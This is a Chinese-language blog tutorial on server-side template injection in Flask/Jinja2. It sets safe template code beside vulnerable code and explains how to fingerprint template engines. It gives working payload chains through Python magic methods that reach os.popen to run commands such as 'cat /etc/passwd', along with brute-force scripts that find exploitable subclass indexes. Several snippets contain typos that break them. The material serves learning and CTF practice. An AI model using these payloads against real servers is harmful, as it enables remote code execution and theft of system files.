SSTI初步认识

mdstory / 2023-09-01 / 原文

SSTI初步理解及认识

SSTI的认识

首先ssti是一个因为模板渲染漏洞,其漏洞原理是在渲染位置可以调用函数。

即将危险函数渲染调用

from flask import Flask,request,render_template_string
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
   str =request.args.get('abc')#get方式获取abc的值,并赋值给str
   html_str=  '''
  <html>
  <head></head>
  <body>{{str}}</body>
  </html>
  '''
   return render_template_string(html_str,str=str)#str经过render_template_string加载到body中,因为str=str,所以进行了预先渲染转义,之后在输出,不会被渲染执行
if__name__=='__main__':
   app.debug = True
   app.run('127.0.0.1','8080')

以上为安全模板渲染

错误代码:

from flask import Flask,request,render_template_string
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
   str =request.args.get('abc')#get方式获取abc的值,并赋值给str
   html_str=  '''
  <html>
  <head></head>
  <body>{{str}}</body>
  </html>
  '''.format(str)
   return render_template_string(html_str)#这里因为没有预先转义,所以会被直接当作代码指令执行,是这个函数会把{}内的字符串当成代码指令
if__name__=='__main__':
   app.debug = True
   app.run('127.0.0.1','8080')

所以SSTI本质上也是一个注入漏洞。

SSTI模板类型的鉴别

 

这个图怎么理解呢

就是绿色箭头代表执行了,红色箭头代表没执行。

先输入${7*7},如果运行结果仍是这个,则是没执行操作红箭头下一步代码,依次类推。执行成功的结果是什么呢,7*7的结果是49,a{*comment*}b的结果是ab,成功就是Smarty模板。${"z".join("ab")}的运行结果是zab。

模板类型不止这些,之后可以多了解。

SSTI中python的魔术方法及渗透过程

先简单说一下攻击思路是从子类A(即当前窗口调用的该object的classA)去调用父类(object)的另一个含有危险函数的子类B(classB)或者友元类。

因此,第一步,我们应该去获取子类A的父类是谁(或者说一步一步的找到我们通常认识的含有危险函数的类。)

所以就有了我们熟知的第一步的攻击代码。

{{[].__class__.__base__.__subclasses__()[17]}}

()是元组,{}是字典,[]是列表,''和""是字符串,其他可以自己研究。

__class__#查找当前类型的所属对象

__base__#按照父子类关系寻找上一层。

__mro__#和base的效果一致,但是这个是显示查找当前类的所有继承类。

__subclasses__()#查找父类下的所有子类,后加中括号内可以填写具体哪一个子类的序号。

__init__#查看类是否重载,重载是指程序在运行时就已经加载好了,我们可以利用。没有重载就无法执行漏洞,即报错。

__globals__#函数会已字典形式返回当前对象的全部全局变量。

 

一般情况下object就到头了。

 

可自行了解这些注入模块。

通过第一步的攻击代码找到这些注入模块,然后使用init函数查看是否重载,无wrapper即说明重载。

最后加入globals函数查找你想利用的危险函数。

以上为标准无过滤的情况。

{{[].__class__.__base__.__subclasses__()[17].__init__.globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

builtins函数是为了申请对py的内置函数的一个访问。

eval()计算字符串表达式的值

popen就是我们利用的危险函数。

{{[].__class__.__base__.__subclasses__()[17].__init__.globals__.['popen']('cat /etc/passwd').read()}}

其实不用上面的那个函数也是可以的。

注入模块

文件读取

__frozen__importlib__external.FileLoader

__frozen__importlib__external.FileLoader函数是可以读取文件的。

如何快速找到危险函数的具体位置

import requests
url=input('url:')
for i in range(500):
   data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
   try:
       response=requests.post(url,data=data)
       #print(response.text)
       if reponse.status_code == 200:
           if'__frozen__importlib__external.FileLoader' in response.text:
               print(i)
   except:
       pass

不断地请求这个函数直到找见为止。

name不是固定的。

利用方法:["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径。

还有一种是将flag放在配置文件里,直接config读取就行。

命令执行

eval

快速查找代码:

import requests
url=input('url:')
for i in range(500):
   data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
   try:
       response=requests.post(url,data=data)
       #print(response.text)
       if reponse.status_code == 200:
           if'eval' in response.text:
               print(i)
   except:
       pass

得到i后,添加后续攻击代码就可以了。

{{[].__class__.__base__.__subclasses__()[17].__init__.globals__['__builtins__']['eval']("__import__('os').popen('cat /etc/passwd').read()")}}

没有read是没有回显的。